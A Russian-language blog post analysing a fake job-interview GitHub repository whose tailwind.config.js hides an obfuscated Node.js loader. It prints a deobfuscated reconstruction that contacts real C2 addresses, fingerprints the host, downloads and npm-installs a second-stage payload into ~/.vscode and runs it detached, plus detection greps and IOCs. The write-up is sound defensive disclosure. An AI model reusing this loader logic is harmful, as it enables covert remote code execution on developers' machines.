TL;DR:

В GitHub-репозитории для тестового задания был вредоносный код, спрятанный в tailwind.config.js. Сначала файл выглядел как обычный Tailwind-конфиг, но в конце была длинная обфусцированная JS-строка. При загрузке конфига код подключал fs, os, request, path, node:process и child_process, связывался с C2 на 78.142.218.26:1244 или 66.235.168.17:1244, отправлял минимальный фингерпринт машины, скачивал второй payload в ~/.vscode/f.js, создавал ~/.vscode/package.json, выполнял npm install и запускал payload в фоне через node/nohup. Иными словами, это был не обычный тестовый проект, а loader/downloader, замаскированный под frontend-задание.

Социальная часть

В LinkedIn мне написал некто, представившийся как Renz Andrey Barrion, с предложением работы. Страница уже удалена. Немного смутила подпись: «Project Manager at Bext360» (не утверждаю, что Bext360 причастна к нижеизложенному). Показалось странным, что пишет проджект, а не HR. Но да ладно, мало ли какие процедуры найма могут быть.

Renz сообщил, что в его компанию требуется Senior Front End Developer на неплохих условиях. Я скинул резюме, он расспросил об опыте, подробно описал процесс найма и предложил пройти тестовое, с чем я согласился – в последнее время какой-то ренессанс тестовых. Ренц скинул ссылку на https://github.com/Stash-Home/Home-assignment-u (тоже уже удалена).

При скачивании я обратил внимание на размер репозитория – больше 5 мегабайт, что как бы очень много для репы с тестовым заданием (понятно, что могут быть изображения, но все равно). Дополнительно удивило отсутствие форков: обычно тестовые репозитории форкаются кандидатами. Отсутствие форков нетипично для таких репозиториев.

Начал разбираться и обнаружил вот что.

На последней строчке tailwind.config.js была замаскированная большим количеством пробелов обфусцированная строка:

const a0ag=a0a1,a0ah=a0a1,...

Интересно, что же это такое?

Как устроена обфускация

В начале был массив base64-строк:

function a0a0() {
  const bm = ['AM9PBG','ywnisNy','wgDkCKO', ...]
  ...
}

Далее массив циклически сдвигался до тех пор, пока выражение с parseInt(...) не даст нужное число:

(function(a0,a1){
  const a2 = a0();
  while (!![]) {
    try {
      const a3 = ...;
      if (a3 === a1) break;
      else a2.push(a2.shift());
    } catch {
      a2.push(a2.shift());
    }
  }
}(a0a0, 0x7e0c4));

Цель этого – запутать соответствие индексов и строк.

Затем функция a0a1(...) достаёт строку из массива и декодирует её, что упрощённо выглядит так:

function decodeFromStringTable(index) {
  const shiftedIndex = index - 0x113;
  const encoded = stringTable[shiftedIndex];
  
  return base64DecodeURIComponent(encoded);
}

И мы получаем, например:

a0a1(0x137) => "utf8"
a0a1(0x182) => "base6"
a0a1(0x171) => "from"
a0a1(0x125) => "toStr"
a0a1(0x126) => "ing"

И потом собираем это:

Buffer.from(..., 'base64').toString('utf8')

Ещё один декодер отрезает первый мусорный символ, а остаток декодирует как base64:

function n(value) {
  const withoutFirstChar = value.slice(1);
  return Buffer.from(withoutFirstChar, 'base64').toString('utf8');
}

Например:

n('ab3M') => 'os'
n('bZnM') => 'fs'
n('DcmVxdWVzdA') => 'request'
n('NcGF0aA') => 'path'
n('Xbm9kZTpwc...') => 'node:process'
n('4Y2hpbGRf') + n('acHJvY2Vzcw') => 'child_process'

Некоторые строки спрятаны как массивы чисел и к ним применяется XOR с ключом:

const S = [0x70, 0xa0, 0x89, 0x48];

function U(arr) {
  let result = '';

  for (let i = 0; i < arr.length; i++) {
    result += String.fromCharCode((arr[i] ^ S[i & 3]) & 0xff);
  }

  return result;
}

что даёт после расшифровки:

U([0x5e,0xd6,0xfa,0x2b,0x1f,0xc4,0xec]) => ".vscode"
U([0x16,0x8e,0xe3,0x3b])                 => "f.js"
U([0x0,0xc1,0xea,0x23,0x11,0xc7,0xec,0x66,0x1a,0xd3,0xe6,0x26])
  => "package.json"

U([0x5f,0xc6,0xa6]) => "/f/"
U([0x5f,0xd0])      => "/p"

U([0x13,0xc4]) => "cd"
U([0x56,0x86,0xa9,0x26,0x0,0xcd,0xa9,0x21,0x50,0x8d,0xa4,0x3b,0x19,0xcc,0xec,0x26,0x4])
  => "&& npm i --silent"

U([0x1e,0xd0,0xe4,0x68,0x5d,0x8d,0xf9,0x3a,0x15,0xc6,0xe0,0x30])
  => "npm --prefix"

U([0x1e,0xcf,0xed,0x2d,0x2f,0xcd,0xe6,0x2c,0x5,0xcc,0xec,0x3b])
  => "node_modules"

U([0x1e,0xcf,0xe1,0x3d,0x0]) => "nohup"

После деобфускации ключевая часть выглядит примерно так:

const os = require('os');
const fs = require('fs');
const request = require('request');
const path = require('path');
const process = require('node:process');
const child_process = require('child_process');

const homeDir = os.homedir();
const hostname = os.hostname();
const platform = os.platform();
const userInfo = os.userInfo();

const primaryC2 = 'http://78.142.218.26:1244';
const fallbackC2 = 'http://66.235.168.17:1244';

const campaignId = '90284f6b7643';

Упрощённый псевдокод вредоноса

Это упрощённая реконструкция логики (C2 в тексте это "Command and Control", то есть сервер командования и управления):

/**
 * Entry point вредоносного кода.
 *
 * Инициализирует timestamp текущего запуска и начинает первый этап связи
 * с управляющим сервером.
 *
 * В оригинальном коде эта функция вызывается сразу при загрузке
 * `tailwind.config.js`, то есть во время dev/build процесса.
 *
 * Поведение:
 * 1. Сохраняет время запуска.
 * 2. Пытается связаться с основным C2-сервером.
 * 3. При ошибке дальше сработает fallback-логика.
 *
 * @returns {void}
 */
function main() {
  timestamp = Date.now().toString();

  tryHandshake(0);
}

/**
 * Пытается выполнить первичный handshake с сервером.
 *
 * Функция отправляет GET-запрос на `/s/<campaignId>`.
 * Первый вызов идёт на основной сервер. Если основной сервер недоступен,
 * код пробует fallback.
 *
 * Этот этап нужен вредоносу, чтобы получить актуальный адрес сервера
 * и тип payload, который нужно скачать.
 *
 * @param {number} index
 * Индекс сервера в списке.
 * `0` — основной сервер.
 * `1` — fallback-сервер.
 *
 * @returns {void}
 */
function tryHandshake(index) {
  const url = `${C2[index]}/s/${campaignId}`;

  request.get(url, (error, response, body) => {
    if (error) {
      if (index < 1) {
        tryHandshake(1);
      }
      return;
    }

    if (!parseServerResponse(body)) {
      return;
    }

    reportHost();
    downloadAndRunPayload();
  });
}

/**
 * Разбирает ответ C2-сервера после handshake-запроса.
 *
 * Оригинальный код ожидает, что ответ начинается с маркера `ZT3`.
 * Всё, что идёт после `ZT3`, декодируется из base64.
 *
 * После декодирования вредонос ожидает строку примерно такого формата:
 *
 * `<host>,<type>`
 *
 * Где:
 * - `host` — актуальный C2-host, с которого дальше будут скачиваться payload и package.json.
 * - `type` — идентификатор или вариант payload.
 *
 * Если формат ответа не подходит, функция возвращает `false`,
 * и дальнейшее выполнение прекращается.
 *
 * @param {string} body
 * Тело HTTP-ответа.
 *
 * @returns {boolean}
 * `true`, если ответ успешно разобран и глобальные значения `baseUrl` и `type` установлены.
 * `false`, если ответ не похож на ожидаемый C2-ответ.
 */
function parseServerResponse(body) {
  if (!body.startsWith('ZT3')) {
    return false;
  }

  const encoded = body.slice(3);
  const decoded = Buffer.from(encoded, 'base64').toString('utf8');

  const parts = decoded.split(',');

  baseUrl = `http://${parts[0]}:1244`;
  type = parts[1];

  return true;
}

/**
 * Отправляет информацию о заражённой машине на сервер злоумышленников.
 *
 * Функция делает POST-запрос на `/keys` и передаёт набор данных,
 * по которым оператор вредоноса может идентифицировать машину и контекст запуска.
 *
 * В отправляемые данные входят:
 * - timestamp запуска;
 * - тип payload, полученный от C2;
 * - hostname;
 * - username на macOS;
 * - путь или аргумент процесса, из которого был запущен код.
 *
 * Название `/keys` может вводить в заблуждение: по поведению это больше похоже
 * на регистрацию infected host/beaconing, а не обязательно на отправку
 * криптографических ключей.
 *
 * @returns {void}
 */
function reportHost() {
  let hostId = hostname;

  if (platform[0] === 'd') {
    hostId = `${hostId}+${userInfo.username}`;
  }

  let commandContext = '5A1';

  try {
    commandContext += process.argv[1];
  } catch {}

  request.post({
    url: `${baseUrl}/keys`,
    formData: {
      ts: timestamp,
      type,
      hid: hostId,
      ss: 'oqr',
      cc: commandContext,
    },
  });
}

/**
 * Скачивает второй этап вредоноса и готовит его к запуску.
 *
 * Функция создаёт директорию `~/.vscode`, если её ещё нет.
 * Затем скачивает JS-payload с C2 и сохраняет его как `f.js`.
 *
 * Использование `~/.vscode` выглядит как попытка маскировки:
 * такая папка может показаться разработчику нормальной частью окружения
 * VS Code/Cursor.
 *
 * Если создать `~/.vscode` не удалось, код использует домашнюю директорию
 * пользователя как fallback.
 *
 * @returns {void}
 */
function downloadAndRunPayload() {
  let targetDir = path.join(homeDir, '.vscode');

  try {
    fs.mkdirSync(targetDir, { recursive: true });
  } catch {
    targetDir = homeDir;
  }

  const payloadPath = path.join(targetDir, 'f.js');

  try {
    fs.rmSync(payloadPath);
  } catch {}

  request.get(`${baseUrl}/f/${type}`, (error, response, body) => {
    if (error) return;

    try {
      fs.writeFileSync(payloadPath, body);
    } catch {}

    downloadPackageJson(targetDir);
  });
}

/**
 * Скачивает `package.json` для созданного вредоносом локального npm-проекта.
 *
 * После скачивания `f.js` вредонос также скачивает `package.json`
 * с C2 endpoint `/p`.
 *
 * Это нужно для установки зависимостей, которые потребуются скачанному payload.
 * То есть вредонос создаёт отдельный npm-проект внутри `~/.vscode`.
 *
 * В оригинальной логике есть сравнение размера:
 * если уже существующий `package.json` меньше нового тела ответа,
 * файл перезаписывается.
 *
 * @param {string} targetDir
 * Директория, куда ранее был сохранён `f.js`.
 * Обычно это `~/.vscode`.
 *
 * @returns {void}
 */
function downloadPackageJson(targetDir) {
  const packagePath = path.join(targetDir, 'package.json');

  let oldSize = 0;

  if (fs.existsSync(packagePath)) {
    try {
      oldSize = fs.statSync(packagePath).size;
    } catch {}
  }

  request.get(`${baseUrl}/p`, (error, response, body) => {
    if (error) return;

    try {
      if (body.length > oldSize) {
        fs.writeFileSync(packagePath, body);
      }
    } catch {}

    installDependencies(targetDir);
  });
}

/**
 * Запускает установку npm-зависимостей для скачанного payload.
 *
 * Функция выполняет команду вида:
 *
 * `cd "<targetDir>" && npm i --silent`
 *
 * Это означает, что вредонос пытается установить зависимости
 * из скачанного `package.json` без явного вывода в консоль.
 *
 * Флаг `windowsHide: true` на Windows скрывает окно процесса,
 * что является дополнительным признаком скрытного поведения.
 *
 * После завершения установки вызывается проверка `node_modules`
 * и запуск payload.
 *
 * @param {string} targetDir
 * Директория локального npm-проекта, созданного вредоносом.
 *
 * @returns {void}
 */
function installDependencies(targetDir) {
  child_process.exec(
    `cd "${targetDir}" && npm i --silent`,
    { windowsHide: true },
    () => {
      ensureNodeModulesAndRun(targetDir);
    },
  );
}

/**
 * Проверяет наличие `node_modules` и при необходимости повторяет установку зависимостей.
 *
 * Если после первой команды `npm i --silent` директория `node_modules`
 * не появилась, вредонос запускает альтернативную команду:
 *
 * `npm --prefix "<targetDir>" i`
 *
 * Это повышает шанс успешной установки зависимостей в разных окружениях.
 *
 * Если `node_modules` уже существует или повторная установка завершилась,
 * функция переходит к запуску payload.
 *
 * @param {string} targetDir
 * Директория, где лежат `f.js`, `package.json` и потенциальный `node_modules`.
 *
 * @returns {void}
 */
function ensureNodeModulesAndRun(targetDir) {
  const nodeModules = path.join(targetDir, 'node_modules');

  if (!fs.existsSync(nodeModules)) {
    child_process.exec(
      `npm --prefix "${targetDir}" i`,
      { windowsHide: true },
      () => runPayload(targetDir),
    );
  } else {
    runPayload(targetDir);
  }
}

/**
 * Запускает скачанный `f.js` как отдельный фоновый процесс.
 *
 * Поведение отличается по платформам:
 *
 * На Windows:
 * - запускается текущий Node.js runtime через `process.execPath`;
 * - аргументом передаётся `f.js`;
 * - рабочая директория — `targetDir`;
 * - окно процесса скрывается через `windowsHide: true`;
 * - stdio игнорируется.
 *
 * На Linux/macOS:
 * - используется `nohup`;
 * - процесс запускается detached;
 * - stdin/stdout/stderr перенаправляются в ignore или `/dev/null`;
 * - после `unref()` процесс отвязывается от родителя.
 *
 * Итог: payload может продолжить работу даже после завершения npm/build-процесса,
 * который изначально загрузил `tailwind.config.js`.
 *
 * @param {string} targetDir
 * Директория, из которой будет запущен `f.js`.
 *
 * @returns {void}
 */
function runPayload(targetDir) {
  if (platform[0] === 'w') {
    const child = child_process.spawn(
      process.execPath,
      ['f.js'],
      {
        cwd: targetDir,
        stdio: 'ignore',
        windowsHide: true,
      },
    );

    child.unref();
  } else {
    const child = child_process.spawn(
      'nohup',
      [process.execPath, 'f.js'],
      {
        cwd: targetDir,
        detached: true,
        stdio: ['ignore', '/dev/null', '/dev/null'],
      },
    );

    child.unref();
  }
}

Что же тут происходит?

Сначала делается запрос на:

http://78.142.218.26:1244/s/90284f6b7643

// фоллбек на
http://66.235.168.17:1244/s/90284f6b7643

После декодирования ожидается строка вида:

<host>,<type>

Условно

example.com,abc

Тогда вредонос строит:

http://example.com:1244

И сохраняет

type = "abc"

Информация о жертве отправляется на:

http://<host>:1244/keys

С примерно такими данными:

{
  ts: Date.now().toString(),               // timestamp запуска
  type: typeFromServer,                    // тип/идентификатор payload, полученный от C2
  hid: hostnameOrHostnamePlusUsername,     // host identifier
  ss: 'oqr',                               // константа "oqr", вероятно, маркер кампании или версии
  cc: '5A1' + process.argv[1]              // строка "5A1" + путь к текущему скрипту/процессу
}

Интересный момент:

if (platform[0] === 'd') {
  hid = hostname + '+' + username;
}

os.platform() возвращает:

win32
linux
darwin

То есть username добавляется именно для macOS (darwin).

Затем происходит попытка создать директорию:

~/.vscode

А если не получается, используется просто домашняя папка:

let targetDir = path.join(os.homedir(), '.vscode');

try {
  fs.mkdirSync(targetDir, { recursive: true });
} catch {
  targetDir = os.homedir();
}

Почему .vscode? Это хороший выбор для атаки. Такая папка выглядит привычно для разработчика и не бросается в глаза рядом с расширениями VS Code или Cursor.

Затем происходит скачивание:

http://<host>:1244/f/<type>

И payload записывается в ~/.vscode/f.js.

Затем данные с http://<host>:1244/p скачиваются и записываются в ~/.vscode/package.json.

Далее устанавливаются зависимости:

cd "~/.vscode" && npm i --silent
npm --prefix "~/.vscode" i

Это важно: код не просто скачивает f.js, а ещё и подготавливает отдельный npm-проект внутри домашней папки пользователя. То есть создаётся самостоятельный Node.js-проект вне репозитория. Даже если потом удалить папку с тестовым заданием, ~/.vscode/f.js и ~/.vscode/node_modules могут остаться в домашней папке. При этом основная логика вредоноса находится уже не в исходном репозитории, а в файле, скачанном на втором этапе.

Затем payload запускается в фоне:

// на Windows
child_process.spawn(process.execPath, ['f.js'], {
  cwd: targetDir,
  stdio: 'ignore',
  windowsHide: true,
});

// на Linux/MacOs
child_process.spawn('nohup', [process.execPath, 'f.js'], {
  cwd: targetDir,
  detached: true,
  stdio: ['ignore', '/dev/null', '/dev/null'],
});

И после этого процесс отвязывается от родительского процесса и продолжает жить отдельно:

child.unref();

Есть небольшой интервал (10 минут 16 секунд), с которым вредонос пытается скачать данные, если сервер временно недоступен. Через несколько попыток интервал очищается.

Что же отправляется?

Кажется, что отправляется не так много. os.userInfo() возвращает примерно такой объект:

{
  username: "john",
  uid: 1000,
  gid: 1000,
  shell: "/bin/bash",
  homedir: "/home/john"
}

Но на первом этапе используется только userInfo.username, и то только если платформа macOS. На Linux/Windows username не добавляется.

И хотя код отправляет не так много, сервер всё равно видит сетевые метаданные:

  • source IP address;

  • время подключения;

  • порт назначения;

  • HTTP path;

  • возможные HTTP headers от Node request library.

Кроме того, первый handshake идёт на GET /s/90284f6b7643, что позволяет понять, из какого репозитория пришёл запуск.

На первом этапе нет прямого чтения SSH-ключей, .env-файлов, cookies, browser profiles, GitHub tokens или содержимого проектов. Но он скачивает f.js, внутри которого, по-видимому, и будет содержаться основная вредоносная логика.

Иными словами, видимый код в tailwind.config.js – это не полноценный похититель данных, а загрузчик. Он отправляет минимальный фингерпринт машины и запускает второй этап, который уже может выполнить основной сбор данных.

Что ещё было подозрительно в репозитории?

В package.json были такие зависимости:

"child_process": "^1.0.2",
"crypto": "^1.0.1",
"fs": "^0.0.1-security",
"path": "^0.12.7"

Это core-модули Node.js. В нормальном проекте их не ставят из npm.

Какие выводы и уроки?

Никогда не запускайте чужой проект сразу. Опасными могут быть даже:

npm install
npm ci
yarn
pnpm install

Перед запуском попробуйте поискать опасные паттерны:

grep -RInE \
  "child_process|execSync|spawn|eval\(|Function\(|atob\(|Buffer\.from|curl|wget|powershell|EncodedCommand|nohup|/dev/null|\.vscode|AppData|os\.homedir|os\.userInfo|request\(|fetch\(|http://|https://" \
  . \
  --exclude-dir=node_modules \
  --exclude-dir=.git \
  --exclude-dir=dist \
  --exclude-dir=build

Проверяйте package.json на подозрительные зависимости:

"preinstall": "...",
"install": "...",
"postinstall": "...",
"prepare": "...",
"child_process": "...",
"fs": "...",
"path": "...",
"crypto": "..."

Как уже говорилось, это core-модули Node.js, в нормальном проекте они не должны быть npm-зависимостями.

Устанавливайте зависимости только с отключёнными lifecycle-скриптами:

npm ci --ignore-scripts
npm install --ignore-scripts
pnpm install --ignore-scripts
yarn install --ignore-scripts

Но помните, флаг --ignore-scripts защищает только от npm lifecycle-скриптов. Он не защитит, если потом вы запускаете npm run dev, а dev-сервер загружает вредоносный tailwind.config.js, vite.config.js, webpack.config.js, nuxt.config.ts и т.д. Не забывайте, что эти конфиги – это не просто JSON-настройки. Это JS/TS-код, который выполняется Node.js во время dev/build. Поэтому вредонос в таком файле может выполниться без отдельного явного запуска.

Вообще, лучше запускать чужие проекты на отдельной виртуальной машине или отдельном WSL в изолированной среде.

Не открывайте чужой проект в IDE сразу в доверенном режиме, а помечайте его как untrusted.

Можно сделать в чужом проекте быстрый поиск IP/URL, так как их наличие в config-файлах, особенно на нестандартных портах – это сильный красный флаг:

rg -n \
  "https?://|[0-9]{1,3}(\.[0-9]{1,3}){3}|localhost|127\.0\.0\.1|webhook|telegram|discord|ngrok|pastebin|gist|raw\.githubusercontent" \
  -g '!node_modules' \
  -g '!.git'

Критически оцените GitHub-аккаунт, с которого качаете. На странице https://github.com/Stash-Home виден странный набор проектов: serenity, typst, fontations, zune-image, blend2d-apps, cmap-resources, covbot, learning-php и т.д. Многие из них выглядят как копии известных open-source проектов, а не как собственные проекты. Например, serenity описан как “The Serenity Operating System”, содержит 66 605 коммитов, но у него аж целых 0 звёзд и 0 форков. Это должно вас насторожить.

Я не могу утверждать, был ли аккаунт Stash-Home изначально создан злоумышленником или был скомпрометирован. Но публичные признаки выглядят подозрительно: много копий известных проектов, нулевая социальная активность, следы однотипных automated update-коммитов.

Ну и обращайте внимание на размер скачанного репозитория :-)

Ну а если вы всё же запустили такой проект, то:

  1. Отключите интернет или закройте подозрительные процессы;

  2. Проверьте ~/.vscode/f.js и ~/.vscode/package.json;

  3. Проверьте процессы node/npm/powershell/cmd;

  4. Проверьте автозапуск и scheduled tasks;

  5. Смените токены, которые могут быть доступны: GitHub, GitLab, npm, SSH, cloud credentials и т.д.;

  6. Запустите полную проверку антивирусом/защитником.

P.S. На всякий случай вот хэши архива репозитория и файла конфига:

Archive SHA256:
4ab54628c32954056033146013ec962fa3e52a1f261f69ce526c71793a6d6e13

tailwind.config.js SHA256:
b19ed4f3161fdf569309272fff3fa3fbf46eab7a142b314244a363a1d552f4de

C2:
78.142.218.26:1244
66.235.168.17:1244

Paths:
~/.vscode/f.js
~/.vscode/package.json

P.P.S. Пользуясь случаем, хочу сказать то, что касается нас как сообщество разработчиков. Тестовые задания – это зло и пережиток царского прошлого. Сегодня они почти ничего не позволяют оценить. Они отнимают наше время, которое мы могли бы потратить на собственные проекты и развитие. То, что я согласился выполнить это тестовое, меня не красит. Впрочем, я его и не выполнил. И чем больше мы, разработчики, будем отказываться выполнять тестовые задания, тем быстрее эта порочная практика окончательно уйдёт в прошлое. ИМХО, бойкот тестовых заданий – это благо для нас как для профессионального сообщества.